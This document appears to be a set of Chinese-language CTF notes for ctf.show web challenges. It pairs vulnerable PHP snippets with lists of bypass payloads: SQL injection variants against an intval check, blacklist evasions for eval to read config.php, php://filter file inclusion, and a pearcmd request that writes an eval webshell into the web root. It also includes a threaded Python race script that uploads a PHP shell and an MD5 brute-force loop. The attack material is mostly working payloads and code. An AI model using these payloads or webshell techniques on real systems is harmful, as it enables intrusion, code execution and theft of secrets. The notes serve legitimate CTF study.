$id = $_GET['id'];
 # 判断id的值是否大于999
if(intval($id) > 999){
    die("id error");
}else{
    $sql = "select * from article where id = $id order by id limit 1 ";
    echo "执行的sql为：$sql<br>";
    $result = $conn->query($sql);	# 执行sql 语句
}

?id=~~1000		# 逻辑非
?id=0000|1000	# 逻辑或
?id='1000'		# 字符串
?id=2 or id=1000	# 拼接语句(管道符)
?id=!!1000		# 感叹号
?id=0b001111101000	# 二进制转换
?id=round(999.9)	# PHP四舍五入
?id=8*125		# 数学运算
?id=power(10,3)	# power函数
?id=500 div 0.5	# sql的除号
?id='1e3'		# 科学记数法
?id=/**/1000	# 注释
?id=/*!1000*/	# 内联注释
?id=125<<3		# 左右移
?id=0x3E8		# intval()函数利用
?id=2 union select * from article where id=1000	# 直接sql注入
?id=CAST(0x339 AS INT)	# sql认为的1000, PHP不一定认.可以使用sql的十六进制的1000

$c = $_GET['c'];
if(!preg_match("/system|exec|highlight/i",$c)){
	eval($c);
}else{
	die("cmd error");
}

?c=passthru('cat config.php');	# 替换命令
?c=echo `tac config.php`;		# 反引号命令执行
?c=show_source('config.php');	# php函数命令执行
?c=echo file_get_contents('config.php');	# 同上
?c=readfile("config.php");		# 同上
?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');	# 拼接
?c=echo `$_GET[1]`;&1=tac config.php	# GET方法
?c=echo `$_POST[1]`;然后在post data中写入1=tac config.php	# POST方法
?c=print_r(get_defined_vars()); # 在数组中取出当前已定义的变量
?c=include('php://filter/read=convert.base64-encode/resource=config.php');
# 变成命令执行再利用伪协议
?c=$a=base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);	# 编码绕过
?c=echo `tac conf*`;	# 通配符
?c=passthru('tac conf?g?p?p');	# 同上
?c=echo tac confi[g][!0-9]ph[p];	# 同上
?c=echo `tac conf\ig*`;	# 利用\隔开
?c=echo $flag?>		# 解了那么多次发现输出是$flag,那就试试直接输出它

命令执行: system(),exec(),passthru(),shell_exec(),proc_open()和popen()
查看文件: cat,tac,more,head,tail,
分号过滤: ?>闭合开头后,最后一行可以不用分号

# 对于popen()
<?php
$handle = popen('/bin/ls', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
pclose($handle);
?>

$c=$_GET['c'];
if(!preg_match("/php/i",$c)){
	include($c);
}

$c=$_GET['c'];
if(!preg_match("/\:|\/|\\\/i",$c)){
	include($c.".php");
}

/index.php?+config-create+/&c=pearcmd&/<?=@eval($_POST['cmd']);?>+/var/www/html/test.php
# 在/var/www/html下写入webshell

if(strlen($_GET[1])<4){
	echo shell_exec($_GET[1]);
}
else{
	echo "hack!!!";
}

>nl		# 创建叫做nl的文件
>*		# 以第一个文件名为命令去执行

# coding: utf-8
# Auth: y2hlbmc
import requests
import time
import threading

url = "http://7dbded2a-12d4-4d3a-a8c5-ddc6d8e78d74.challenge.ctf.show/"

def Thread(fun,*args):
    return threading.Thread(target=fun, args=args)

def req(fname):
    r = requests.get(url + "uploads/" + fname + ".php")
    x = r.text
    if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
        print(x)

def Thread_start(fname):
    for i in range(100,400):
        # 每个文件名单起一个线程
        Thread(req, fname + str(i)).start()

def upload():
    while True:
        file_data = {'file':('shell.php',"<?php system(\"tac ../flaghere0.txt\");?>".encode())}
        r = requests.post(url + "upload.php",files=file_data)
        txt = r.text
        print("uploaded:",txt)
        # 用本次的文件名推算下一次的文件名，相差sleep一次的时间间隔
        ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
        fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))
        # 单起一个线程，爆破下一次upload的文件名
        Thread(Thread_start, fname).start()


if __name__ == '__main__':
    upload()

$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){
	echo "uploads/$new_filename";
	sleep(1);
	system("rm -rf ./uploads/*.php");
}

50 4B 03 04		# 这是头文件标记  （0x04034b50）
14 00		# 解压文件所需 pkware 版本
00 00		# 全局方式位标记（判断有无加密）
08 00		# 压缩方式
DC 01		# 最后修改文件时间
53 50		# 最后修改文件日期

50 4B 01 02		# 目录中文件文件头标记  （0x02014b50）
1F 00		# 压缩使用的 pkware 版本
14 00		# 解压文件所需 pkware 版本
00 00		# 全局方式位标记（判断是否为伪加密）
08 00		# 压缩方式
DC 01		# 最后修改文件时间
53 50		# 最后修改文件日期

50 4B 05 06		# 目录结束标记
00 00		# 当前磁盘编号
00 00		# 目录区开始磁盘编号
01 00		# 本磁盘上纪录总数
01 00		# 目录区中纪录总数
5A 00 00 00		# 目录区尺寸大小
3B 00 00 00		# 目录区对第一张磁盘的偏移量
00 00		# ZIP 文件注释长度

import hashlib
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
payload=''
for i in str1:
    for j in str1:
        for k in str1:
            s = hashlib.md5(('ctfshow'+i+j+k).encode()).hexdigest()
            #print(type(s))
            if s=='a6f57ae38a22448c2f07f3f95f49c84e':
                print(i+j+k)